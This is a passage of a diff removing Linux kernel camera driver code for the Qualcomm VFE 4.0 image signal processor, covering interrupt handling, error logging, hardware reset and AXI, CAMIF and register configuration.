IRQ\n", __func__); - if (irq_status0 & (1 << 3)) { - ISP_DBG("%s: EPOCH1 IRQ\n", __func__); - if (vfe_dev->vfe_hw_version == VFE40_8916_VERSION) { - vfe_dev->hw_info->vfe_ops.core_ops. - vbif_read_counters(vfe_dev); - } - } -} - -static void msm_vfe40_process_violation_status( - struct vfe_device *vfe_dev) -{ - uint32_t violation_status = vfe_dev->error_info.violation_status; - if (!violation_status) - return; - - if (violation_status & (1 << 0)) - pr_err("%s: camif violation\n", __func__); - if (violation_status & (1 << 1)) - pr_err("%s: black violation\n", __func__); - if (violation_status & (1 << 2)) - pr_err("%s: rolloff violation\n", __func__); - if (violation_status & (1 << 3)) - pr_err("%s: demux violation\n", __func__); - if (violation_status & (1 << 4)) - pr_err("%s: demosaic violation\n", __func__); - if (violation_status & (1 << 5)) - pr_err("%s: wb violation\n", __func__); - if (violation_status & (1 << 6)) - pr_err("%s: clf violation\n", __func__); - if (violation_status & (1 << 7)) - pr_err("%s: color correct violation\n", __func__); - if (violation_status & (1 << 8)) - pr_err("%s: rgb lut violation\n", __func__); - if (violation_status & (1 << 9)) - pr_err("%s: la violation\n", __func__); - if (violation_status & (1 << 10)) - pr_err("%s: chroma enhance violation\n", __func__); - if (violation_status & (1 << 11)) - pr_err("%s: chroma supress mce violation\n", __func__); - if (violation_status & (1 << 12)) - pr_err("%s: skin enhance violation\n", __func__); - if (violation_status & (1 << 13)) - pr_err("%s: color tranform enc violation\n", __func__); - if (violation_status & (1 << 14)) - pr_err("%s: color tranform view violation\n", __func__); - if (violation_status & (1 << 15)) - pr_err("%s: scale enc y violation\n", __func__); - if (violation_status & (1 << 16)) - pr_err("%s: scale enc cbcr violation\n", __func__); - if (violation_status & (1 << 17)) - pr_err("%s: scale view y violation\n", __func__); - if (violation_status & (1 << 18)) - pr_err("%s: scale view cbcr violation\n", __func__); - if (violation_status & (1 << 19)) - pr_err("%s: asf enc violation\n", __func__); - if (violation_status & (1 << 20)) - pr_err("%s: asf view violation\n", __func__); - if (violation_status & (1 << 21)) - pr_err("%s: crop enc y violation\n", __func__); - if (violation_status & (1 << 22)) - pr_err("%s: crop enc cbcr violation\n", __func__); - if (violation_status & (1 << 23)) - pr_err("%s: crop view y violation\n", __func__); - if (violation_status & (1 << 24)) - pr_err("%s: crop view cbcr violation\n", __func__); - if (violation_status & (1 << 25)) - pr_err("%s: realign buf y violation\n", __func__); - if (violation_status & (1 << 26)) - pr_err("%s: realign buf cb violation\n", __func__); - if (violation_status & (1 << 27)) - pr_err("%s: realign buf cr violation\n", __func__); -} - -static void msm_vfe40_process_error_status(struct vfe_device *vfe_dev) -{ - uint32_t error_status1 = vfe_dev->error_info.error_mask1; - if (error_status1 & (1 << 0)) - pr_err_ratelimited("%s: camif error status: 0x%x\n", - __func__, vfe_dev->error_info.camif_status); - if (error_status1 & (1 << 1)) - pr_err_ratelimited("%s: stats bhist overwrite\n", __func__); - if (error_status1 & (1 << 2)) - pr_err_ratelimited("%s: stats cs overwrite\n", __func__); - if (error_status1 & (1 << 3)) - pr_err_ratelimited("%s: stats ihist overwrite\n", __func__); - if (error_status1 & (1 << 4)) - pr_err_ratelimited("%s: realign buf y overflow\n", __func__); - if (error_status1 & (1 << 5)) - pr_err_ratelimited("%s: realign buf cb overflow\n", __func__); - if (error_status1 & (1 << 6)) - pr_err_ratelimited("%s: realign buf cr overflow\n", __func__); - if (error_status1 & (1 << 7)) { - pr_err_ratelimited("%s: violation\n", __func__); - msm_vfe40_process_violation_status(vfe_dev); - } - if (error_status1 & (1 << 9)) { - vfe_dev->stats->imagemaster0_overflow++; - pr_err_ratelimited("%s: image master 0 bus overflow\n", - __func__); - } - if (error_status1 & (1 << 10)) { - vfe_dev->stats->imagemaster1_overflow++; - pr_err_ratelimited("%s: image master 1 bus overflow\n", - __func__); - } - if (error_status1 & (1 << 11)) { - vfe_dev->stats->imagemaster2_overflow++; - pr_err_ratelimited("%s: image master 2 bus overflow\n", - __func__); - } - if (error_status1 & (1 << 12)) { - vfe_dev->stats->imagemaster3_overflow++; - pr_err_ratelimited("%s: image master 3 bus overflow\n", - __func__); - } - if (error_status1 & (1 << 13)) { - vfe_dev->stats->imagemaster4_overflow++; - pr_err_ratelimited("%s: image master 4 bus overflow\n", - __func__); - } - if (error_status1 & (1 << 14)) { - vfe_dev->stats->imagemaster5_overflow++; - pr_err_ratelimited("%s: image master 5 bus overflow\n", - __func__); - } - if (error_status1 & (1 << 15)) { - vfe_dev->stats->imagemaster6_overflow++; - pr_err_ratelimited("%s: image master 6 bus overflow\n", - __func__); - } - if (error_status1 & (1 << 16)) { - vfe_dev->stats->be_overflow++; - pr_err_ratelimited("%s: status be bus overflow\n", __func__); - } - if (error_status1 & (1 << 17)) { - vfe_dev->stats->bg_overflow++; - pr_err_ratelimited("%s: status bg bus overflow\n", __func__); - } - if (error_status1 & (1 << 18)) { - vfe_dev->stats->bf_overflow++; - pr_err_ratelimited("%s: status bf bus overflow\n", __func__); - } - if (error_status1 & (1 << 19)) { - vfe_dev->stats->awb_overflow++; - pr_err_ratelimited("%s: status awb bus overflow\n", __func__); - } - if (error_status1 & (1 << 20)) { - vfe_dev->stats->rs_overflow++; - pr_err_ratelimited("%s: status rs bus overflow\n", __func__); - } - if (error_status1 & (1 << 21)) { - vfe_dev->stats->cs_overflow++; - pr_err_ratelimited("%s: status cs bus overflow\n", __func__); - } - if (error_status1 & (1 << 22)) { - vfe_dev->stats->ihist_overflow++; - pr_err_ratelimited("%s: status ihist bus overflow\n", __func__); - } - if (error_status1 & (1 << 23)) { - vfe_dev->stats->skinbhist_overflow++; - pr_err_ratelimited("%s: status skin bhist bus overflow\n", - __func__); - } -} - -static void msm_vfe40_read_irq_status(struct vfe_device *vfe_dev, - uint32_t *irq_status0, uint32_t *irq_status1) -{ - *irq_status0 = msm_camera_io_r(vfe_dev->vfe_base + 0x38); - *irq_status1 = msm_camera_io_r(vfe_dev->vfe_base + 0x3C); - /* - * Ignore composite 2/3 irq which is used for dual VFE only - */ - - if (*irq_status0 & 0x6000000) - *irq_status0 &= ~(0x18000000); - msm_camera_io_w(*irq_status0, vfe_dev->vfe_base + 0x30); - msm_camera_io_w(*irq_status1, vfe_dev->vfe_base + 0x34); - msm_camera_io_w_mb(1, vfe_dev->vfe_base + 0x24); - if (*irq_status0 & 0x18000000) { - pr_err_ratelimited("%s: Protection triggered\n", __func__); - *irq_status0 &= ~(0x18000000); - } - - if (*irq_status1 & (1 << 0)) - vfe_dev->error_info.camif_status = - msm_camera_io_r(vfe_dev->vfe_base + 0x31C); - - if (*irq_status1 & (1 << 7)) - vfe_dev->error_info.violation_status |= - msm_camera_io_r(vfe_dev->vfe_base + 0x48); - -} - -static void msm_vfe40_process_reg_update(struct vfe_device *vfe_dev, - uint32_t irq_status0, uint32_t irq_status1, - struct msm_isp_timestamp *ts) -{ - if (!(irq_status0 & 0xF0)) - return; - vfe_dev->hw_info->vfe_ops.core_ops.reg_update(vfe_dev); - if (irq_status0 & BIT(4)) - msm_isp_sof_notify(vfe_dev, VFE_PIX_0, ts); - if (irq_status0 & BIT(5)) - msm_isp_sof_notify(vfe_dev, VFE_RAW_0, ts); - if (irq_status0 & BIT(6)) - msm_isp_sof_notify(vfe_dev, VFE_RAW_1, ts); - if (irq_status0 & BIT(7)) - msm_isp_sof_notify(vfe_dev, VFE_RAW_2, ts); - - if (vfe_dev->axi_data.stream_update) - msm_isp_axi_stream_update(vfe_dev); - if (atomic_read(&vfe_dev->stats_data.stats_update)) - msm_isp_stats_stream_update(vfe_dev); - if (atomic_read(&vfe_dev->axi_data.axi_cfg_update)) - msm_isp_axi_cfg_update(vfe_dev); - msm_isp_update_framedrop_reg(vfe_dev); - msm_isp_update_error_frame_count(vfe_dev); - - return; -} - -static void msm_vfe40_reg_update(struct vfe_device *vfe_dev) -{ - msm_camera_io_w_mb(0xF, vfe_dev->vfe_base + 0x378); -} - -static uint32_t msm_vfe40_reset_values[ISP_RST_MAX] = -{ - 0x1FF, /* ISP_RST_HARD reset everything */ - 0x1EF /* ISP_RST_SOFT all modules without registers */ -}; - - -static long msm_vfe40_reset_hardware(struct vfe_device *vfe_dev , - enum msm_isp_reset_type reset_type, uint32_t blocking) -{ - uint32_t rst_val; - long rc = 0; - if (reset_type >= ISP_RST_MAX) { - pr_err("%s: Error Invalid parameter\n", __func__); - reset_type = ISP_RST_HARD; - } - rst_val = msm_vfe40_reset_values[reset_type]; - init_completion(&vfe_dev->reset_complete); - if (blocking) { - msm_camera_io_w_mb(rst_val, vfe_dev->vfe_base + 0xC); - rc = wait_for_completion_timeout( - &vfe_dev->reset_complete, msecs_to_jiffies(50)); - } else { - msm_camera_io_w_mb(0x1EF, vfe_dev->vfe_base + 0xC); - } - return rc; -} - -static void msm_vfe40_axi_reload_wm( - struct vfe_device *vfe_dev, uint32_t reload_mask) -{ - msm_camera_io_w_mb(reload_mask, vfe_dev->vfe_base + 0x4C); -} - -static void msm_vfe40_axi_enable_wm(struct vfe_device *vfe_dev, - uint8_t wm_idx, uint8_t enable) -{ - uint32_t val; - val = msm_camera_io_r(vfe_dev->vfe_base + VFE40_WM_BASE(wm_idx)); - if (enable) - val |= 0x1; - else - val &= ~0x1; - msm_camera_io_w_mb(val, - vfe_dev->vfe_base + VFE40_WM_BASE(wm_idx)); -} - -static void msm_vfe40_axi_cfg_comp_mask(struct vfe_device *vfe_dev, - struct msm_vfe_axi_stream *stream_info) -{ - struct msm_vfe_axi_shared_data *axi_data = &vfe_dev->axi_data; - uint32_t comp_mask, comp_mask_index = - stream_info->comp_mask_index; - uint32_t irq_mask; - - comp_mask = msm_camera_io_r(vfe_dev->vfe_base + 0x40); - comp_mask &= ~(0x7F << (comp_mask_index * 8)); - comp_mask |= (axi_data->composite_info[comp_mask_index]. - stream_composite_mask << (comp_mask_index * 8)); - - irq_mask = msm_camera_io_r(vfe_dev->vfe_base + 0x28); - irq_mask |= 1 << (comp_mask_index + 25); - - /* - * For dual VFE, composite 2/3 interrupt is used to trigger - * microcontroller to update certain VFE registers - */ - if (stream_info->plane_cfg[0].plane_addr_offset && - stream_info->stream_src == PIX_VIEWFINDER) { - comp_mask |= (axi_data->composite_info[comp_mask_index]. - stream_composite_mask << 16); - irq_mask |= BIT(27); - } - - if (stream_info->plane_cfg[0].plane_addr_offset && - stream_info->stream_src == PIX_ENCODER) { - comp_mask |= (axi_data->composite_info[comp_mask_index]. - stream_composite_mask << 24); - irq_mask |= BIT(28); - } - - msm_camera_io_w(comp_mask, vfe_dev->vfe_base + 0x40); - msm_camera_io_w(irq_mask, vfe_dev->vfe_base + 0x28); -} - -static void msm_vfe40_axi_clear_comp_mask(struct vfe_device *vfe_dev, - struct msm_vfe_axi_stream *stream_info) -{ - struct msm_vfe_axi_shared_data *axi_data = &vfe_dev->axi_data; - uint32_t comp_mask, comp_mask_index = stream_info->comp_mask_index; - uint32_t irq_mask; - - comp_mask = msm_camera_io_r(vfe_dev->vfe_base + 0x40); - comp_mask &= ~(0x7F << (comp_mask_index * 8)); - - irq_mask = msm_camera_io_r(vfe_dev->vfe_base + 0x28); - irq_mask &= ~(1 << (comp_mask_index + 25)); - - if (stream_info->plane_cfg[0].plane_addr_offset && - stream_info->stream_src == PIX_VIEWFINDER) { - comp_mask &= ~(axi_data->composite_info[comp_mask_index]. - stream_composite_mask << 16); - irq_mask &= ~BIT(27); - } - - if (stream_info->plane_cfg[0].plane_addr_offset && - stream_info->stream_src == PIX_ENCODER) { - comp_mask &= ~(axi_data->composite_info[comp_mask_index]. - stream_composite_mask << 24); - irq_mask &= ~BIT(28); - } - - msm_camera_io_w(comp_mask, vfe_dev->vfe_base + 0x40); - msm_camera_io_w(irq_mask, vfe_dev->vfe_base + 0x28); -} - -static void msm_vfe40_axi_cfg_wm_irq_mask(struct vfe_device *vfe_dev, - struct msm_vfe_axi_stream *stream_info) -{ - uint32_t irq_mask; - irq_mask = msm_camera_io_r(vfe_dev->vfe_base + 0x28); - irq_mask |= 1 << (stream_info->wm[0] + 8); - msm_camera_io_w(irq_mask, vfe_dev->vfe_base + 0x28); -} - -static void msm_vfe40_axi_clear_wm_irq_mask(struct vfe_device *vfe_dev, - struct msm_vfe_axi_stream *stream_info) -{ - uint32_t irq_mask; - irq_mask = msm_camera_io_r(vfe_dev->vfe_base + 0x28); - irq_mask &= ~(1 << (stream_info->wm[0] + 8)); - msm_camera_io_w(irq_mask, vfe_dev->vfe_base + 0x28); -} - -static void msm_vfe40_init_vbif_cntrs(struct vfe_device *vfe_dev) -{ - switch (vfe_dev->vfe_hw_version) { - case VFE40_8916_VERSION: - msm_camera_io_w(0x1, vfe_dev->vfe_vbif_base + 0x320); - msm_camera_io_w(0x0, vfe_dev->vfe_vbif_base + 0x320); - msm_camera_io_w(0x1, vfe_dev->vfe_vbif_base + 0x324); - msm_camera_io_w(0x0, vfe_dev->vfe_vbif_base + 0x324); - msm_camera_io_w(0x1, vfe_dev->vfe_vbif_base + 0x328); - msm_camera_io_w(0x0, vfe_dev->vfe_vbif_base + 0x328); - - msm_camera_io_w(0x15, vfe_dev->vfe_vbif_base + 0x340); - msm_camera_io_w(0x40, vfe_dev->vfe_vbif_base + 0x344); - msm_camera_io_w(0x78, vfe_dev->vfe_vbif_base + 0x348); - - msm_camera_io_w(0x1, vfe_dev->vfe_vbif_base + 0x300); - msm_camera_io_w(0x1, vfe_dev->vfe_vbif_base + 0x304); - msm_camera_io_w(0x1, vfe_dev->vfe_vbif_base + 0x308); - break; - default: - break; - } -} - -void msm_vfe40_vbif_clear_cnt(struct vfe_device *vfe_dev) -{ - switch (vfe_dev->vfe_hw_version) { - case VFE40_8916_VERSION: - msm_camera_io_w(0x1, vfe_dev->vfe_vbif_base + 0x320); - msm_camera_io_w(0x0, vfe_dev->vfe_vbif_base + 0x320); - msm_camera_io_w(0x1, vfe_dev->vfe_vbif_base + 0x324); - msm_camera_io_w(0x0, vfe_dev->vfe_vbif_base + 0x324); - msm_camera_io_w(0x1, vfe_dev->vfe_vbif_base + 0x328); - msm_camera_io_w(0x0, vfe_dev->vfe_vbif_base + 0x328); - break; - default: - break; - } -} - -void msm_vfe40_vbif_read_cnt_epoch(struct vfe_device *vfe_dev) -{ - uint32_t vbif_cnt_0_l = 0; - uint32_t vbif_cnt_1_l = 0; - uint32_t vbif_cnt_2_l = 0; - struct msm_vbif_cntrs *vbif_cntrs = &vfe_dev->vbif_cntrs; - uint32_t session_id = vfe_dev->axi_data.src_info[VFE_PIX_0].session_id; - - if (vfe_dev->axi_data.frame_id[session_id]%2 > 0) { - /*Disable counters before reading*/ - msm_camera_io_w(0x0, vfe_dev->vfe_vbif_base + 0x300); - msm_camera_io_w(0x0, vfe_dev->vfe_vbif_base + 0x304); - msm_camera_io_w(0x0, vfe_dev->vfe_vbif_base + 0x308); - /*Read counters*/ - vbif_cnt_0_l = msm_camera_io_r(vfe_dev->vfe_vbif_base + 0x360); - vbif_cnt_1_l = msm_camera_io_r(vfe_dev->vfe_vbif_base + 0x364); - vbif_cnt_2_l = msm_camera_io_r(vfe_dev->vfe_vbif_base + 0x368); - /*clear counters*/ - msm_camera_io_w(0x1, vfe_dev->vfe_vbif_base + 0x320); - msm_camera_io_w(0x0, vfe_dev->vfe_vbif_base + 0x320); - msm_camera_io_w(0x1, vfe_dev->vfe_vbif_base + 0x324); - msm_camera_io_w(0x0, vfe_dev->vfe_vbif_base + 0x324); - msm_camera_io_w(0x1, vfe_dev->vfe_vbif_base + 0x328); - msm_camera_io_w(0x0, vfe_dev->vfe_vbif_base + 0x328); - /*Enable counters*/ - msm_camera_io_w(0x1, vfe_dev->vfe_vbif_base + 0x300); - msm_camera_io_w(0x1, vfe_dev->vfe_vbif_base + 0x304); - msm_camera_io_w(0x1, vfe_dev->vfe_vbif_base + 0x308); - - vbif_cntrs->total_vbif_cnt_2 += vbif_cnt_2_l; - vbif_cntrs->vfe_total_iter++; - - ISP_DBG("%s: VBIF cntr0 = %d, cntr1 = %d, cntr 2 = %d", - __func__, vbif_cnt_0_l, vbif_cnt_1_l, vbif_cnt_2_l); - - if ((vbif_cnt_2_l > 0) & (vbif_cntrs->previous_write_val > 0)) { - if ((vbif_cnt_2_l > (10 * - vbif_cntrs->previous_write_val)) - | (vbif_cnt_2_l > MAX_OUT_WRITES_LEVEL)) - vbif_cntrs->fb_err_lvl = 3; - else if (vbif_cnt_2_l > (5 * - vbif_cntrs->previous_write_val)) - vbif_cntrs->fb_err_lvl = 2; - else if (vbif_cnt_2_l > (2 * - (vbif_cntrs->previous_write_val))) - vbif_cntrs->fb_err_lvl = 1; - else - vbif_cntrs->fb_err_lvl = 0; - } - if ((vbif_cntrs->previous_write_val == 0) & - (vbif_cnt_2_l > 0)) { - vbif_cntrs->previous_write_val = vbif_cnt_2_l; - } - - if (vbif_cntrs->vfe_total_iter == MAX_NUM_FRAMES) { - vbif_cntrs->previous_write_val = - (vbif_cntrs->total_vbif_cnt_2)/MAX_NUM_FRAMES; - vbif_cntrs->vfe_total_iter = 0; - vbif_cntrs->total_vbif_cnt_2 = 0; - } - } -} - -static void msm_vfe40_cfg_framedrop(struct vfe_device *vfe_dev, - struct msm_vfe_axi_stream *stream_info) -{ - uint32_t i, temp; - uint32_t framedrop_pattern = 0, framedrop_period = 0; - - if (stream_info->runtime_init_frame_drop == 0) { - framedrop_pattern = stream_info->framedrop_pattern; - framedrop_period = stream_info->framedrop_period; - } - - if (stream_info->stream_type == BURST_STREAM && - stream_info->runtime_burst_frame_count == 0) { - framedrop_pattern = 0; - framedrop_period = 0; - } - - for (i = 0; i < stream_info->num_planes; i++) { - msm_camera_io_w(framedrop_pattern, vfe_dev->vfe_base + - VFE40_WM_BASE(stream_info->wm[i]) + 0x1C); - temp = msm_camera_io_r(vfe_dev->vfe_base + - VFE40_WM_BASE(stream_info->wm[i]) + 0xC); - temp &= 0xFFFFFF83; - msm_camera_io_w(temp | framedrop_period << 2, - vfe_dev->vfe_base + VFE40_WM_BASE(stream_info->wm[i]) + 0xC); - } - - msm_camera_io_w_mb(0x1, vfe_dev->vfe_base + 0x378); -} - -static void msm_vfe40_clear_framedrop(struct vfe_device *vfe_dev, - struct msm_vfe_axi_stream *stream_info) -{ - uint32_t i; - for (i = 0; i < stream_info->num_planes; i++) - msm_camera_io_w(0, vfe_dev->vfe_base + - VFE40_WM_BASE(stream_info->wm[i]) + 0x1C); -} - -static int32_t msm_vfe40_cfg_io_format(struct vfe_device *vfe_dev, - enum msm_vfe_axi_stream_src stream_src, uint32_t io_format) -{ - int bpp, bpp_reg = 0, pack_reg = 0; - enum msm_isp_pack_fmt pack_fmt = 0; - uint32_t io_format_reg; /*io format register bit*/ - bpp = msm_isp_get_bit_per_pixel(io_format); - if (bpp < 0) { - pr_err("%s:%d invalid io_format %d bpp %d", __func__, __LINE__, - io_format, bpp); - return -EINVAL; - } - - switch (bpp) { - case 8: - bpp_reg = 0; - break; - case 10: - bpp_reg = 1 << 0; - break; - case 12: - bpp_reg = 1 << 1; - break; - default: - pr_err("%s:%d invalid bpp %d", __func__, __LINE__, bpp); - return -EINVAL; - } - - if (stream_src == IDEAL_RAW) { - /*use io_format(v4l2_pix_fmt) to get pack format*/ - pack_fmt = msm_isp_get_pack_format(io_format); - switch (pack_fmt) { - case QCOM: - pack_reg = 0x0; - break; - case MIPI: - pack_reg = 0x1; - break; - case DPCM6: - pack_reg = 0x2; - break; - case DPCM8: - pack_reg = 0x3; - break; - case PLAIN8: - pack_reg = 0x4; - break; - case PLAIN16: - pack_reg = 0x5; - break; - default: - pr_err("%s: invalid pack fmt!\n", __func__); - return -EINVAL; - } - } - - io_format_reg = msm_camera_io_r(vfe_dev->vfe_base + 0x54); - switch (stream_src) { - case PIX_ENCODER: - case PIX_VIEWFINDER: - case CAMIF_RAW: - io_format_reg &= 0xFFFFCFFF; - io_format_reg |= bpp_reg << 12; - break; - case IDEAL_RAW: - io_format_reg &= 0xFFFFFFC8; - io_format_reg |= bpp_reg << 4 | pack_reg; - break; - case RDI_INTF_0: - case RDI_INTF_1: - case RDI_INTF_2: - default: - pr_err("%s: Invalid stream source\n", __func__); - return -EINVAL; - } - msm_camera_io_w(io_format_reg, vfe_dev->vfe_base + 0x54); - return 0; -} - -static void msm_vfe40_cfg_camif(struct vfe_device *vfe_dev, - struct msm_vfe_pix_cfg *pix_cfg) -{ - uint16_t first_pixel, last_pixel, first_line, last_line; - struct msm_vfe_camif_cfg *camif_cfg = &pix_cfg->camif_cfg; - uint32_t val; - - first_pixel = camif_cfg->first_pixel; - last_pixel = camif_cfg->last_pixel; - first_line = camif_cfg->first_line; - last_line = camif_cfg->last_line; - - msm_camera_io_w(pix_cfg->input_mux << 16 | pix_cfg->pixel_pattern, - vfe_dev->vfe_base + 0x1C); - - msm_camera_io_w(camif_cfg->lines_per_frame << 16 | - camif_cfg->pixels_per_line, vfe_dev->vfe_base + 0x300); - - msm_camera_io_w(first_pixel << 16 | last_pixel, - vfe_dev->vfe_base + 0x304); - - msm_camera_io_w(first_line << 16 | last_line, - vfe_dev->vfe_base + 0x308); - - msm_camera_io_w(0xFFFFFFFF, vfe_dev->vfe_base + 0x314); - - val = msm_camera_io_r(vfe_dev->vfe_base + 0x2E8); - val |= camif_cfg->camif_input; - msm_camera_io_w(val, vfe_dev->vfe_base + 0x2E8); - - switch (pix_cfg->input_mux) { - case CAMIF: - val = 0x01; - msm_camera_io_w(val, vfe_dev->vfe_base + 0x2F4); - break; - case TESTGEN: - val = 0x01; - msm_camera_io_w(val, vfe_dev->vfe_base + 0x93C); - break; - case EXTERNAL_READ: - default: - pr_err("%s: not supported input_mux %d\n", - __func__, pix_cfg->input_mux); - break; - } -} - -static void msm_vfe40_update_camif_state(struct vfe_device *vfe_dev, - enum msm_isp_camif_update_state update_state) -{ - uint32_t val; - bool bus_en, vfe_en; - if (update_state == NO_UPDATE) - return; - - val = msm_camera_io_r(vfe_dev->vfe_base + 0x2F8); - if (update_state == ENABLE_CAMIF) { - bus_en = - ((vfe_dev->axi_data. - src_info[VFE_PIX_0].raw_stream_count > 0) ? 1 : 0); - vfe_en = - ((vfe_dev->axi_data. - src_info[VFE_PIX_0].pix_stream_count > 0) ? 1 : 0); - val &= 0xFFFFFF3F; - val = val | bus_en << 7 | vfe_en << 6; - msm_camera_io_w(val, vfe_dev->vfe_base + 0x2F8); - msm_camera_io_w_mb(0x4, vfe_dev->vfe_base + 0x2F4); - msm_camera_io_w_mb(0x1, vfe_dev->vfe_base + 0x2F4); - vfe_dev->axi_data.src_info[VFE_PIX_0].active = 1; - } else if (update_state == DISABLE_CAMIF) { - msm_camera_io_w_mb(0x0, vfe_dev->vfe_base + 0x2F4); - vfe_dev->axi_data.src_info[VFE_PIX_0].active = 0; - } else if (update_state == DISABLE_CAMIF_IMMEDIATELY) { - vfe_dev->ignore_error = 1; - msm_camera_io_w_mb(0x6, vfe_dev->vfe_base + 0x2F4); - vfe_dev->axi_data.src_info[VFE_PIX_0].active = 0; - vfe_dev->ignore_error = 0; - } -} - -static void msm_vfe40_cfg_rdi_reg( - struct vfe_device *vfe_dev, struct msm_vfe_rdi_cfg *rdi_cfg, - enum msm_vfe_input_src input_src) -{ - uint8_t rdi = input_src - VFE_RAW_0; - uint32_t rdi_reg_cfg; - rdi_reg_cfg = msm_camera_io_r( - vfe_dev->vfe_base + VFE40_RDI_BASE(0)); - rdi_reg_cfg &= ~(BIT(16 + rdi)); - rdi_reg_cfg |= rdi_cfg->frame_based << (16 + rdi); - msm_camera_io_w(rdi_reg_cfg, - vfe_dev->vfe_base + VFE40_RDI_BASE(0)); - - rdi_reg_cfg = msm_camera_io_r( - vfe_dev->vfe_base + VFE40_RDI_BASE(rdi)); - rdi_reg_cfg &= 0x70003; - rdi_reg_cfg |= (rdi * 3) << 28 | rdi_cfg->cid << 4 | 0x4; - msm_camera_io_w( - rdi_reg_cfg, vfe_dev->vfe_base + VFE40_RDI_BASE(rdi)); -} - -static void msm_vfe40_axi_cfg_wm_reg( - struct vfe_device *vfe_dev, - struct msm_vfe_axi_stream *stream_info, - uint8_t plane_idx) -{ - uint32_t val; - struct msm_vfe_axi_shared_data *axi_data = - &vfe_dev->axi_data; - uint32_t burst_len = axi_data->burst_len; - uint32_t wm_base = VFE40_WM_BASE(stream_info->wm[plane_idx]); - - if (!stream_info->frame_based) { - msm_camera_io_w(0x0, vfe_dev->vfe_base + wm_base); - /*WR_IMAGE_SIZE*/ - val = - ((msm_isp_cal_word_per_line( - stream_info->output_format, - stream_info->plane_cfg[plane_idx]. - output_width)+1)/2 - 1) << 16 | - (stream_info->plane_cfg[plane_idx]. - output_height - 1); - msm_camera_io_w(val, vfe_dev->vfe_base + wm_base + 0x14); - - /*WR_BUFFER_CFG*/ - val = - msm_isp_cal_word_per_line(stream_info->output_format, - stream_info->plane_cfg[ - plane_idx].output_stride) << 16 | - (stream_info->plane_cfg[ - plane_idx].output_height - 1) << 4 | - burst_len; - msm_camera_io_w(val, vfe_dev->vfe_base + wm_base + 0x18); - } else { - msm_camera_io_w(0x2, vfe_dev->vfe_base + wm_base); - val = - msm_isp_cal_word_per_line(stream_info->output_format, - stream_info->plane_cfg[ - plane_idx].output_width) << 16 | - (stream_info->plane_cfg[ - plane_idx].output_height - 1) << 4 | - burst_len; - msm_camera_io_w(val, vfe_dev->vfe_base + wm_base + 0x18); - } - - /*WR_IRQ_SUBSAMPLE_PATTERN*/ - msm_camera_io_w(0xFFFFFFFF, - vfe_dev->vfe_base + wm_base + 0x20); - /* TD: Add IRQ subsample pattern */ - return; -} - -static void msm_vfe40_axi_clear_wm_reg( - struct vfe_device *vfe_dev, - struct msm_vfe_axi_stream *stream_info, uint8_t plane_idx) -{ - uint32_t val = 0; - uint32_t wm_base = VFE40_WM_BASE(stream_info->wm[plane_idx]); - /*WR_ADDR_CFG*/ - msm_camera_io_w(val, vfe_dev->vfe_base + wm_base + 0xC); - /*WR_IMAGE_SIZE*/ - msm_camera_io_w(val, vfe_dev->vfe_base + wm_base + 0x14); - /*WR_BUFFER_CFG*/ - msm_camera_io_w(val, vfe_dev->vfe_base + wm_base + 0x18); - /*WR_IRQ_SUBSAMPLE_PATTERN*/ - msm_camera_io_w(val, vfe_dev->vfe_base + wm_base + 0x20); - return; -} - -static void msm_vfe40_axi_cfg_wm_xbar_reg( - struct vfe_device *vfe_dev, - struct msm_vfe_axi_stream *stream_info, - uint8_t plane_idx) -{ - struct msm_vfe_axi_plane_cfg *plane_cfg = - &stream_info->plane_cfg[plane_idx]; - uint8_t wm = stream_info->wm[plane_idx]; - uint32_t xbar_cfg = 0; - uint32_t xbar_reg_cfg = 0; - - switch (stream_info->stream_src) { - case PIX_ENCODER: - case PIX_VIEWFINDER: { - if (plane_cfg->output_plane_format != CRCB_PLANE && - plane_cfg->output_plane_format != CBCR_PLANE) { - /*SINGLE_STREAM_SEL*/ - xbar_cfg |= plane_cfg->output_plane_format << 8; - } else { - switch (stream_info->output_format) { - case V4L2_PIX_FMT_NV12: - case V4L2_PIX_FMT_NV14: - case V4L2_PIX_FMT_NV16: - xbar_cfg |= 0x3 << 4; /*PAIR_STREAM_SWAP_CTRL*/ - break; - } - xbar_cfg |= 0x1 << 1; /*PAIR_STREAM_EN*/ - } - if (stream_info->stream_src == PIX_VIEWFINDER) - xbar_cfg |= 0x1; /*VIEW_STREAM_EN*/ - break; - } - case CAMIF_RAW: - xbar_cfg = 0x300; - break; - case IDEAL_RAW: - xbar_cfg = 0x400; - break; - case RDI_INTF_0: - xbar_cfg = 0x500; - break; - case RDI_INTF_1: - xbar_cfg = 0x600; - break; - case RDI_INTF_2: - xbar_cfg = 0x700; - break; - default: - pr_err("%s: Invalid stream src\n", __func__); - break; - } - xbar_reg_cfg = - msm_camera_io_r(vfe_dev->vfe_base + VFE40_XBAR_BASE(wm)); - xbar_reg_cfg &= ~(0xFFFF << VFE40_XBAR_SHIFT(wm)); - xbar_reg_cfg |= (xbar_cfg << VFE40_XBAR_SHIFT(wm)); - msm_camera_io_w(xbar_reg_cfg, - vfe_dev->vfe_base + VFE40_XBAR_BASE(wm)); - return; -} - -static void msm_vfe40_axi_clear_wm_xbar_reg( - struct vfe_device *vfe_dev, - struct msm_vfe_axi_stream *stream_info, uint8_t plane_idx) -{ - uint8_t wm = stream_info->wm[plane_idx]; - uint32_t xbar_reg_cfg = 0; - - xbar_reg_cfg = - msm_camera_io_r(vfe_dev->vfe_base + VFE40_XBAR_BASE(wm)); - xbar_reg_cfg &= ~(0xFFFF << VFE40_XBAR_SHIFT(wm)); - msm_camera_io_w(xbar_reg_cfg, - vfe_dev->vfe_base + VFE40_XBAR_BASE(wm)); -} - -static void msm_vfe40_cfg_axi_ub_equal_default( - struct vfe_device *vfe_dev) -{ - int i; - uint32_t ub_offset = 0; - struct msm_vfe_axi_shared_data *axi_data = - &vfe_dev->axi_data; - uint32_t total_image_size = 0; - uint8_t num_used_wms = 0; - uint32_t prop_size = 0; - uint32_t wm_ub_size; - uint32_t axi_wm_ub; - - for (i = 0; i < axi_data->hw_info->num_wm; i++) { - if (axi_data->free_wm[i] > 0) { - num_used_wms++; - total_image_size += axi_data->wm_image_size[i]; - } - } - axi_wm_ub = vfe_dev->vfe_ub_size - VFE40_STATS_SIZE; - - prop_size = axi_wm_ub - - axi_data->hw_info->min_wm_ub * num_used_wms; - for (i = 0; i < axi_data->hw_info->num_wm; i++) { - if (axi_data->free_wm[i]) { - uint64_t delta = 0; - uint64_t temp = (uint64_t)axi_data->wm_image_size[i] * - (uint64_t)prop_size; - do_div(temp, total_image_size); - delta = temp; - wm_ub_size = axi_data->hw_info->min_wm_ub + delta; - msm_camera_io_w(ub_offset << 16 | 